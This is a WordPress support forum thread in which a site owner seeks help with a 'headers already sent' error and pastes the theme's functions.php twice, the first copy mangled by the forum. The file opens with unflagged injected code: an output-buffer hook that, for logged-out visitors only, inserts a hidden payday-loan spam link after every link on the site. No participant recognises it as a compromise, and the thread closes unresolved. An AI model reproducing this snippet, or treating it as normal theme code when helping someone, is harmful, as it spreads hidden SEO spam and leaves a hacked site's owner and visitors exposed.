Warning: Cannot modify header information – headers already sent by (output star
-
I am getting this error and cannot login to the site as an admin. When I PTP and go to the indicated problem line (876) I get this:
873 if ( !$is_IIS && php_sapi_name() != ‘cgi-fcgi’ )
874 status_header($status); // This causes problems on IIS and some FastCGI setups
875
876 header(“Location: $location”, true, $status);
877}
878endif;
879
880if ( !function_exists(‘wp_sanitize_redirect’) ) :After looking at prior posts on this subject I deleted the blank line 875 with no luck. I then deleted the space before “header” in 876, with no luck. I returned it to the state I found it. Please, any idea what I can try to get this up and running so I can get Admin access?
Thank you very much for your help!
-
FTP – sorry
Try reviewing Solving “headers already sent” warnings
Thanks. I followed the instructions and there was no ?> at the end. I put this in and no luck. I put the cursor between the ? and the >, held down delete for 15 seconds, replaced the > and no luck. This is in the pluggable.php file. Should I take the ?> back out so the file will be like it was to start?
I should mention that someone told me it might be a broken plugin – i inherited this site and I don’t believe WordPress or the plugins have been updated in a while. I cannot get in to the Admin to do it though.
Any other ideas? I really appreciate your help.
there was no ?> at the end
At the end of what? Never edit core WordPress files. Also bear in mind that the closing
?>
is often deliberately omitted because:a) it’s not needed at the end of a file
b) by omitting it, you reduce the chances of this kind of error.It might help if you gave us the full error message.
The full error message:
Warning: Cannot modify header information – headers already sent by (output started at /home/content/75/6353775/html/hanover/wp-content/themes/Business-Place/functions.php:1) in /home/content/75/6353775/html/hanover/wp-includes/pluggable.php on line 876
The issue is in your current theme’s functions.php file.
Here is that file. No spaces are at the top.
<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fqca{position:absolute;clip:rect(443px,auto,auto,479px);}</style><div class=fqca>same day <a href="https://advancedcashin10min.com">payday loans</a></div>"; if (stristr($buffer,""))$buffer=str_ireplace("","".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");} function buffer_endx(){ob_end_flush();} add_action('wp_head', 'buffer_startx'); add_action('wp_footer', 'buffer_endx'); ?> <?php if (function_exists('register_sidebars')) { register_sidebars(2, array( 'before_widget' => '<!--- BEGIN Widget --->', 'before_title' => '<!--- BEGIN WidgetTitle --->', 'after_title' => '<!--- END WidgetTitle --->', 'after_widget' => '<!--- END Widget --->' )); } function art_normalize_widget_style_tokens($content) { $bw = '<!--- BEGIN Widget --->'; $bwt = '<!--- BEGIN WidgetTitle --->'; $ewt = '<!--- END WidgetTitle --->'; $bwc = '<!--- BEGIN WidgetContent --->'; $ewc = '<!--- END WidgetContent --->'; $ew = '<!--- END Widget --->'; $result = ''; $startBlock = 0; $endBlock = 0; while (true) { $startBlock = strpos($content, $bw, $endBlock); if (false === $startBlock) { $result .= substr($content, $endBlock); break; } $result .= substr($content, $endBlock, $startBlock - $endBlock); $endBlock = strpos($content, $ew, $startBlock); if (false === $endBlock) { $result .= substr($content, $endBlock); break; } $endBlock += strlen($ew); $widgetContent = substr($content, $startBlock, $endBlock - $startBlock); $beginTitlePos = strpos($widgetContent, $bwt); $endTitlePos = strpos($widgetContent, $ewt); if ((false == $beginTitlePos) xor (false == $endTitlePos)) { $widgetContent = str_replace($bwt, '', $widgetContent); $widgetContent = str_replace($ewt, '', $widgetContent); } else { $beginTitleText = $beginTitlePos + strlen($bwt); $titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText); if ('?' == $titleContent) { $widgetContent = substr($widgetContent, 0, $beginTitlePos) . substr($widgetContent, $endTitlePos + strlen($ewt)); } } if (false === strpos($widgetContent, $bwt)) { $widgetContent = str_replace($bw, $bw . $bwc, $widgetContent); } else { $widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent); } $result .= str_replace($ew, $ewc . $ew, $widgetContent); } return $result; } function art_sidebar($index = 1) { if (!function_exists('dynamic_sidebar')) return false; ob_start(); $success = dynamic_sidebar($index); $content = ob_get_clean(); if (!$success) return false; $content = art_normalize_widget_style_tokens($content); $replaces = array( '<!--- BEGIN Widget --->' => "\r\n<div class=\"Block\">\r\n <div class=\"Block-body\">\r\n", '<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n", '<!--- END WidgetTitle --->' => "\r\n <div class=\"l\"></div>\r\n <div class=\"r\"><div></div></div>\r\n</div>\r\n", '<!--- BEGIN WidgetContent --->' => "\r\n<div class=\"BlockContent\">\r\n <div class=\"BlockContent-body\">\r\n", '<!--- END WidgetContent --->' => "\r\n </div>\r\n <div class=\"BlockContent-tl\"></div>\r\n <div class=\"BlockContent-tr\"><div></div></div>\r\n <div class=\"BlockContent-bl\"><div></div></div>\r\n <div class=\"BlockContent-br\"><div></div></div>\r\n <div class=\"BlockContent-tc\"><div></div></div>\r\n <div class=\"BlockContent-bc\"><div></div></div>\r\n <div class=\"BlockContent-cl\"><div></div></div>\r\n <div class=\"BlockContent-cr\"><div></div></div>\r\n <div class=\"BlockContent-cc\"></div>\r\n</div>\r\n", '<!--- END Widget --->' => "\r\n </div>\r\n</div>\r\n" ); $bwt = '<!--- BEGIN WidgetTitle --->'; $ewt = '<!--- END WidgetTitle --->'; if ('' == $replaces[bwt] && '' == $replaces[$ewt]) { $startTitle = 0; $endTitle = 0; $result = ''; while (true) { $startTitle = strpos($content, $bwt, $endTitle); if (false == $startTitle) { $result .= substr($content, $endTitle); break; } $result .= substr($content, $endTitle, $startTitle - $endTitle); $endTitle = strpos($content, $ewt, $startTitle); if (false == $endTitle) { $result .= substr($content, $startTitle); break; } $endTitle += strlen($ewt); } $content = $result; } $content = str_replace(array_keys($replaces), array_values($replaces), $content); echo $content; return true; } function art_list_pages_filter($output) { $output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)~', '<li$1><a$2><span><span>$3</span></span>', $output); $re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~'; $output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1); $output = preg_replace($re, '<li class="$1$2"><a ', $output); return $output; } function art_header_page_list_filter($pages) { $result = array(); if ($GLOBALS['menu_showSubmenus']) { foreach ($pages as $page) $result[] = $page; } else { foreach ($pages as $page) if (0 == $page->post_parent) $result[] = $page; } if ('page' == get_option('show_on_front')) { $pageOnFront = get_option('page_on_front'); $pageForPosts = get_option('page_for_posts'); if ($pageOnFront) { foreach ($result as $key => $page) { if (0 == $page->post_parent && $pageOnFront == $page->ID) { unset($result[$key]); break; } } } if (!$pageOnFront && $pageForPosts) { foreach ($result as $key => $page) { if (0 == $page->post_parent && $pageForPosts == $page->ID) { unset($result[$key]); break; } } } } return $result; } function art_menu_items($showSubmenus) { $GLOBALS['menu_showSubmenus'] = $showSubmenus; $homeMenuItemCaption = 'Home'; $isHomeSelected = null; if ('page' == get_option('show_on_front')) { $pageOnFront = get_option('page_on_front'); $pageForPosts = get_option('page_for_posts'); if ($pageOnFront) { $page = & get_post($pageOnFront); if (null != $page) $homeMenuItemCaption = $page->post_title; $isHomeSelected = is_page($page->ID); } elseif (!$pageOnFront && $pageForPosts) { $page = & get_post($pageForPosts); if (null != $page) $homeMenuItemCaption = $page->post_title; } } if (null === $isHomeSelected) $isHomeSelected = is_home(); echo ' <li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>' . $homeMenuItemCaption . '</span></span></li> '; add_action('get_pages', 'art_header_page_list_filter'); add_action('wp_list_pages', 'art_list_pages_filter'); wp_list_pages('title_li='); remove_action('wp_list_pages', 'art_list_pages_filter'); remove_action('get_pages', 'art_header_page_list_filter'); } add_filter('comments_template', 'legacy_comments'); function legacy_comments($file) { if(!function_exists('wp_list_comments')) : // WP 2.7-only check $file = TEMPLATEPATH.'/legacy.comments.php'; endif; return $file; }
[Moderator Note: Please post code & markup between backticks or use the code button. Your posted code may now have been permanently damaged by the forum’s parser.]
<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fqca{position:absolute;clip:rect(443px,auto,auto,479px);}</style><div class=fqca>same day <a href=https://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");} function buffer_endx(){ob_end_flush();} add_action('wp_head', 'buffer_startx'); add_action('wp_footer', 'buffer_endx'); ?> <?php if (function_exists('register_sidebars')) { register_sidebars(2, array( 'before_widget' => '<!--- BEGIN Widget --->', 'before_title' => '<!--- BEGIN WidgetTitle --->', 'after_title' => '<!--- END WidgetTitle --->', 'after_widget' => '<!--- END Widget --->' )); } function art_normalize_widget_style_tokens($content) { $bw = '<!--- BEGIN Widget --->'; $bwt = '<!--- BEGIN WidgetTitle --->'; $ewt = '<!--- END WidgetTitle --->'; $bwc = '<!--- BEGIN WidgetContent --->'; $ewc = '<!--- END WidgetContent --->'; $ew = '<!--- END Widget --->'; $result = ''; $startBlock = 0; $endBlock = 0; while (true) { $startBlock = strpos($content, $bw, $endBlock); if (false === $startBlock) { $result .= substr($content, $endBlock); break; } $result .= substr($content, $endBlock, $startBlock - $endBlock); $endBlock = strpos($content, $ew, $startBlock); if (false === $endBlock) { $result .= substr($content, $endBlock); break; } $endBlock += strlen($ew); $widgetContent = substr($content, $startBlock, $endBlock - $startBlock); $beginTitlePos = strpos($widgetContent, $bwt); $endTitlePos = strpos($widgetContent, $ewt); if ((false == $beginTitlePos) xor (false == $endTitlePos)) { $widgetContent = str_replace($bwt, '', $widgetContent); $widgetContent = str_replace($ewt, '', $widgetContent); } else { $beginTitleText = $beginTitlePos + strlen($bwt); $titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText); if (' ' == $titleContent) { $widgetContent = substr($widgetContent, 0, $beginTitlePos) . substr($widgetContent, $endTitlePos + strlen($ewt)); } } if (false === strpos($widgetContent, $bwt)) { $widgetContent = str_replace($bw, $bw . $bwc, $widgetContent); } else { $widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent); } $result .= str_replace($ew, $ewc . $ew, $widgetContent); } return $result; } function art_sidebar($index = 1) { if (!function_exists('dynamic_sidebar')) return false; ob_start(); $success = dynamic_sidebar($index); $content = ob_get_clean(); if (!$success) return false; $content = art_normalize_widget_style_tokens($content); $replaces = array( '<!--- BEGIN Widget --->' => "\r\n<div class=\"Block\">\r\n <div class=\"Block-body\">\r\n", '<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n", '<!--- END WidgetTitle --->' => "\r\n <div class=\"l\"></div>\r\n <div class=\"r\"><div></div></div>\r\n</div>\r\n", '<!--- BEGIN WidgetContent --->' => "\r\n<div class=\"BlockContent\">\r\n <div class=\"BlockContent-body\">\r\n", '<!--- END WidgetContent --->' => "\r\n </div>\r\n <div class=\"BlockContent-tl\"></div>\r\n <div class=\"BlockContent-tr\"><div></div></div>\r\n <div class=\"BlockContent-bl\"><div></div></div>\r\n <div class=\"BlockContent-br\"><div></div></div>\r\n <div class=\"BlockContent-tc\"><div></div></div>\r\n <div class=\"BlockContent-bc\"><div></div></div>\r\n <div class=\"BlockContent-cl\"><div></div></div>\r\n <div class=\"BlockContent-cr\"><div></div></div>\r\n <div class=\"BlockContent-cc\"></div>\r\n</div>\r\n", '<!--- END Widget --->' => "\r\n </div>\r\n</div>\r\n" ); $bwt = '<!--- BEGIN WidgetTitle --->'; $ewt = '<!--- END WidgetTitle --->'; if ('' == $replaces[bwt] && '' == $replaces[$ewt]) { $startTitle = 0; $endTitle = 0; $result = ''; while (true) { $startTitle = strpos($content, $bwt, $endTitle); if (false == $startTitle) { $result .= substr($content, $endTitle); break; } $result .= substr($content, $endTitle, $startTitle - $endTitle); $endTitle = strpos($content, $ewt, $startTitle); if (false == $endTitle) { $result .= substr($content, $startTitle); break; } $endTitle += strlen($ewt); } $content = $result; } $content = str_replace(array_keys($replaces), array_values($replaces), $content); echo $content; return true; } function art_list_pages_filter($output) { $output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~', '<li$1><a$2><span><span>$3</span></span></a>', $output); $re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~'; $output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1); $output = preg_replace($re, '<li class="$1$2"><a ', $output); return $output; } function art_header_page_list_filter($pages) { $result = array(); if ($GLOBALS['menu_showSubmenus']) { foreach ($pages as $page) $result[] = $page; } else { foreach ($pages as $page) if (0 == $page->post_parent) $result[] = $page; } if ('page' == get_option('show_on_front')) { $pageOnFront = get_option('page_on_front'); $pageForPosts = get_option('page_for_posts'); if ($pageOnFront) { foreach ($result as $key => $page) { if (0 == $page->post_parent && $pageOnFront == $page->ID) { unset($result[$key]); break; } } } if (!$pageOnFront && $pageForPosts) { foreach ($result as $key => $page) { if (0 == $page->post_parent && $pageForPosts == $page->ID) { unset($result[$key]); break; } } } } return $result; } function art_menu_items($showSubmenus) { $GLOBALS['menu_showSubmenus'] = $showSubmenus; $homeMenuItemCaption = 'Home'; $isHomeSelected = null; if ('page' == get_option('show_on_front')) { $pageOnFront = get_option('page_on_front'); $pageForPosts = get_option('page_for_posts'); if ($pageOnFront) { $page = & get_post($pageOnFront); if (null != $page) $homeMenuItemCaption = $page->post_title; $isHomeSelected = is_page($page->ID); } elseif (!$pageOnFront && $pageForPosts) { $page = & get_post($pageForPosts); if (null != $page) $homeMenuItemCaption = $page->post_title; } } if (null === $isHomeSelected) $isHomeSelected = is_home(); echo '<li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>' . $homeMenuItemCaption . '</span></span></a></li>'; add_action('get_pages', 'art_header_page_list_filter'); add_action('wp_list_pages', 'art_list_pages_filter'); wp_list_pages('title_li='); remove_action('wp_list_pages', 'art_list_pages_filter'); remove_action('get_pages', 'art_header_page_list_filter'); } add_filter('comments_template', 'legacy_comments'); function legacy_comments($file) { if(!function_exists('wp_list_comments')) : // WP 2.7-only check $file = TEMPLATEPATH.'/legacy.comments.php'; endif; return $file; }
I still can’t get it to work. Any ideas on what to do with this file?
- The topic ‘Warning: Cannot modify header information – headers already sent by (output star’ is closed to new replies.